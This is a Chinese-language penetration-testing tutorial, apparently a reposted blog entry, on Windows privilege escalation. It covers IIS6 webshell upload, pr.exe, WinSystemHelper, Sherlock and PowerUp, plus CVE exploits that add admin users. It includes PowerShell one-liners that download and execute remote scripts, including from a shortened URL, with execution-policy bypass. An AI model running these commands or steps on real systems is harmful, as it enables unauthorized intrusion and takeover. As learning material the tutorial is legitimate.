提权学习之旅——Windows操作系统提权
2020-08-11 11:16:06 Author: xz.aliyun.com(查看原文) 阅读量:345 收藏

前言:

了解基础知识之后,这次就来仔细学一下Windows操作系统的提权。

Windows提权基础

0x00:Windows提权的大致方向

拿到一个低权限时要进行提权,首先要清楚从哪里入手,清楚了提权的大致方向,才能事半功倍。

其中比较常见而且利用较多的有

  1. 内核提权
  2. 数据库提权
  3. 应用提权
  4. 中间人劫持等

0x01:Windows基础提权命令

查询系统信息
systeminfo 
如果要查看特定的信息,可以使用
systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
主机名
Hostname
环境变量
Set
查看用户信息
Net user
查看服务pid号
Tasklist /svc|find "TermService"
netstat -ano|find "3389"
查看系统名
wmic os get caption
查看补丁信息
wmic qfe get Description,HotFixID,InstalledOn
如果要定位到特定的补丁可以使用如下命令
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
查看当前安装程序
wmic product get name,version

其中需要注意一下环境变量,因为有的软件环境变量可能设置在其它路径中,而在该路径下的文件是具有写权限的,就可以通过替换文件来达到提权操作

0x02:常见所处的权限

通常拿到webshell,获得的权限如下:

ASP/PHP 匿名权限
ASPX user权限
jsp 通常是系统权限

0x03:提权的前提条件

最重要的就是收集信息了,根据收集到的信息再进行响应的攻击。

服务器系统和版本位数
  服务器的补丁情况
  服务器的安装软件情况
  服务器的防护软件情况
  端口情况

收集好信息,就可以先从这几个方面入手:

确定是否能执行命令(如果不能调用系统cmd执行命令 要上传一个cmd.exe
找一个可写可执行的目录
通过查找的补丁信息,找相应的exp提权

0x04:溢出漏洞提权

溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞 因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。

溢出漏洞提权是利用操作系统层漏洞进行权限提升,通常步骤是拿到shell后获取目标机器的补丁信息,通过目标的补丁情况获取相对应的漏洞,进行提权

Windows提权实践

0x01:Pr提权

Pr是windows本地溢出工具,主要作用就是可以将低权限用户提升为系统权限,主要用于webshell提权,补丁号为KB952004,虽然Pr提权已经很老了,但对于新手去学习提权还是需要去学习一下的,接下来就来实践一下Pr提权。

一个上传页面,使用Wappalyzer分析一下服务器是什么服务器,以及网站环境等

Web服务器是iis6.0,存在中间件解析漏洞,可以利用这个漏洞进行上传木马

IIS6.0解析漏洞介绍
当建立*.asa.asp格式的文件夹时,其目录下的任意文件都将会被IIS当做asp解析
当文件.asp;1.jpg IIS6.0同样会将文件作为asp文件解析

上传一个asp一句话木马,改下目录和文件后缀

上传成功

连接成功

获得webshell权限,先来查看一下当前的用户权限,发现菜刀的虚拟终端没办法使用,自己上传一个

当前的用户权限是

并没有创建用户等权限,所以接下来就要收集信息了,先来查询一下系统信息

在系统的补丁中发现没有KB952004

因此可以利用这个漏洞进行提权(cve-2009-0079),上传pr.exe

提权成功

0x02:Windows分析工具的利用

WinSystemHelper

WinSystemHelper检查可利用的漏洞,该工具适合在任何Windows服务器上进行已知提权漏洞的检测

使用方法:
上传bat+txt文件,运行bat查看结果

WinSystemHelper

实验环境

创建一个iis服务,并开启asp支持,在wwwroot目录下放一个aspx木马,菜刀进行连接

连接成功后,查看权限

权限不高,在其他文件夹中上传不了,但可以在RECYCLER文件夹中上传文件,因为一般情况下这个文件夹都是有权限进行上传的。(RECYCLERwindows操作系统中存放被删除文件的文件夹之一)

根据WinSystemHelper的使用方法,在该目录下上传bat+txt文件。

虚拟终端运行一下WinSysHelper.bat

有很多可以利用的漏洞,找一个11年的exp测试一下

直接运行,发现成功添加了一个k8team的用户

创建的用户已经成功添加到管理员组当中,提权成功

Sherlock

Sherlock是一个在Windows下用于本地提权的PowerShell脚本

https://github.com/rasta-mouse/Sherlock

使用方法:

本地加载脚本
Import-Module Sherlock.ps1
远程加载脚本
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
检查漏洞
Find-AllVulns
出现Appears Vulnerable就是存在漏洞

实验环境

先用管理员账号创建一个普通的账号,用户名为test,登陆进去,在根目录下设置一个php一句话木马,进行连接,发现无法在虚拟终端执行命令,而且自己上传进去的cmd.exe也无法使用,这时可以使用另外一款工具phpspy,将其中的2011.php文件上传到网站根目录并进行访问

密码在源代码中有

登陆之后,在这里面便可以进行命令执行了

接下来在C:/users/test目录下放入Sherlock文件

接下来调用下Powershell,这里直接在win7本机做实验了,所以使用如下命令

powershell.exe -exec bypass

启动成功,下面本地加载下脚本,检查下存在的漏洞

Import-Module ./Sherlock.ps1
Find-AllVulns

通过这样的分析,便可以找到对应的漏洞,利用相应的exp即可

可以找MS14-058测试一下,上传与操作系统版本相同的exp

提权成功

Privesc

该工具可以枚举出目标Windows系统中常见的Windows错误安全配置,错误的安全配置将允许攻击者在目标系统中实现信息收集以及权限提升

Privesc

使用方法:

本地加载脚本
Import-Module .\Privesc.psm1
获取函数
Get-Command -Module Privesc
检测全部信息
Invoke-AllChecks
命令行下执行
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
远程调用执行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfp');Invoke-AllChecks"
添加用户
Install-ServiceBinary -ServiceName '服务名' -UserName user -Password password

先进入Powershell

加载脚本并获取函数

检测全部信息

除此之外,可以将信息导入到文件中

IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfp');Invoke-AllChecks >1.txt

添加一个shy用户,密码为123456

Install-ServiceBinary -ServiceName 'phpStudySrv' -UserName shy -Password 123456

执行成功

0x03:提权实战

在测试的网站中上传一个asp木马文件,菜刀进行连接

当前权限为

没有创建用户等权限,需要进行提权操作,使用命令systeminfo 查看一下系统信息

当前的操作系统是winserver-2008,查到CVE-2018-8120可以对该系统进行提权操作,就将exp文件上传上去,但发现网站根目录和垃圾邮箱都无法上传进去

但是经过测试后发现,可以在User/All Users目录下进行上传exp文件

提权成功

创建用户成功

总结

通过这次学习,对Windows操作系统的提权有了一定的了解,下面就来学习一下Linux操作系统的提权!


文章来源: http://xz.aliyun.com/t/8091
如有侵权请联系:admin#unsafe.sh